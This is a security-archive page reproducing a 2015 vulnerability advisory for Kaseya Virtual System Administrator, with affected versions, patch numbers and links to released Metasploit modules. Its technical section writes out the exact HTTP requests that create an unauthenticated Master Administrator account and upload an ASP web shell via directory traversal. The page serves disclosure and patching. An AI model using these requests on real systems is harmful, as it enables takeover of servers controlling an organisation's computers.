exploit the possibilities

Kaseya Virtual System Administrator Code Execution / Privilege Escalation

Kaseya Virtual System Administrator Code Execution / Privilege Escalation
Posted Sep 30, 2015
Authored by Pedro Ribeiro

Kaseya Virtual System Administrator suffers from multiple code execution vulnerabilities and a privilege escalation vulnerability. VSA versions 7.0.0.0 through 7.0.0.32, 8.0.0.0 through 8.0.0.22, 9.0.0.0 through 9.0.0.18, and 9.1.0.0 through 9.1.0.8 are affected.

tags | exploit, vulnerability, code execution
advisories | CVE-2015-6589, CVE-2015-6922
SHA-256 | 1c99f00ec0d2ed27ea5157a13205f5e690ec57a19a7df31ce5375b1b3e123c64

Kaseya Virtual System Administrator Code Execution / Privilege Escalation

Change Mirror Download
Hi,

I have found 3 vulnerabilities in Kaseya's flagship product:
- unauthenticated remote code execution (CVE-2015-6922 / ZDI-15-449)
- unauthenticated remote privilege escalation (CVE-2015-6922 / ZDI-15-448)
- authenticated remote code execution (CVE-2015-6589 / ZDI-15-450)

Kaseya VSA is an IT management platform for small and medium corporates.
From its console you can control thousands of computers and mobile
devices. So that if you own the Kaseya server, you own the organisation.
With this post I'm also releasing two Metasploit modules ([E1], [E2])
and a Ruby file ([E3]) that exploit the vulnerabilities described below.

A special thanks to ZDI for assisting with the disclosure of these
vulnerabilities. The full advisory text is below, but can also be
obtained from my repo at [E4].

[E1] https://github.com/rapid7/metasploit-framework/pull/6018
[E2] https://github.com/rapid7/metasploit-framework/pull/6019
[E3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb
[E4]
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt

Regards,
Pedro

============

>> Multiple vulnerabilities in Kaseya Virtual System Administrator
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information
Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 23/09/2015 / Last updated: 28/09/2015

>> Background on the affected product:
"Kaseya VSA is an integrated IT Systems Management platform that can be
leveraged seamlessly across IT disciplines to streamline and automate
your IT services. Kaseya VSA integrates key management capabilities into
a single platform. Kaseya VSA makes your IT staff more productive, your
services more reliable, your systems more secure, and your value easier
to show."

A special thanks to ZDI for assisting with the vulnerability reporting
process.
These vulnerabilities were disclosed by ZDI under IDs ZDI-15-448 [1],
ZDI-15-449 [2] and ZDI-15-450 [3] on 23/09/2015.


>> Technical details:
#1
Vulnerability: Remote privilege escalation (add Master Administrator
account - unauthenticated)
CVE-2015-6922 / ZDI-15-448
Affected versions:
VSA Version 7.0.0.0 – 7.0.0.32
VSA Version 8.0.0.0 – 8.0.0.22
VSA Version 9.0.0.0 – 9.0.0.18
VSA Version 9.1.0.0 – 9.1.0.8

GET /LocalAuth/setAccount.aspx
Page will attempt to redirect, ignore this and obtain the "sessionVal"
value from the page which will be used in the following POST request.

POST /LocalAuth/setAccount.aspx
sessionVal=<sessionVal>&adminName=<username>&NewPassword=<password>&confirm=<password>&adminEmail=bla@bla.com&setAccount=Create

You are now a Master Administrator and can execute code in all the
managed desktops and mobile devices.
A Metasploit module that exploits this vulnerability has been released.


#2
Vulnerability: Remote code execution via file upload with directory
traversal (unauthenticated)
CVE-2015-6922 / ZDI-15-449
Affected versions:
VSA Version 7.0.0.0 – 7.0.0.32
VSA Version 8.0.0.0 – 8.0.0.22
VSA Version 9.0.0.0 – 9.0.0.18
VSA Version 9.1.0.0 – 9.1.0.8

First we do:
GET /ConfigTab/serverfiles.asp
which will respond with a 302 redirect to /mainLogon.asp?logout=<sessionID>
Thanks for creating a valid sessionID for us, Kaseya!

POST
/ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=shell.asp
Cookie: sessionId=<sessionID>
<... ASP shell here...>

The path needs to be correct, but Kaseya is helpful enough to let us
know when a path doesn't exist.
A Metasploit module that exploits this vulnerability has been released.


#3
Vulnerability: Remote code execution via file upload with directory
traversal (authenticated)
CVE-2015-6589 / ZDI-15-450
Affected versions:
VSA Version 7.0.0.0 – 7.0.0.32
VSA Version 8.0.0.0 – 8.0.0.22
VSA Version 9.0.0.0 – 9.0.0.18
VSA Version 9.1.0.0 – 9.1.0.8

Login to the VSA console and obtain ReferringWebWindowId from the URL
(wwid parameter).
Create a POST request as below with the ReferringWebWindowId:

POST /vsapres/web20/json.ashx HTTP/1.1
Content-Type: multipart/form-data;
boundary=---------------------------114052411119142
Content-Length: 1501

-----------------------------114052411119142
Content-Disposition: form-data; name="directory"

../WebPages
-----------------------------114052411119142
Content-Disposition: form-data; name="ReferringWebWindowId"

31a5d16a-01b7-4f8d-adca-0b2e70006dfa
-----------------------------114052411119142
Content-Disposition: form-data; name="request"

uploadFile
-----------------------------114052411119142
Content-Disposition: form-data; name="impinf__uploadfilelocation";
filename="shell.asp"
Content-Type: application/octet-stream

<... ASP shell here...>

-----------------------------114052411119142--

A Ruby exploit (kazPwn.rb) that abuses this vulnerability has also been
been released [4].


>> Fix:
V7 – Install patch 7.0.0.33
R8 – Install patch 8.0.0.23
R9 – Install patch 9.0.0.19
R9.1 – Install patch 9.1.0.9


>> References:
[1] http://zerodayinitiative.com/advisories/ZDI-15-448/
[2] http://zerodayinitiative.com/advisories/ZDI-15-449/
[3] http://zerodayinitiative.com/advisories/ZDI-15-450/
[4] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    6 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close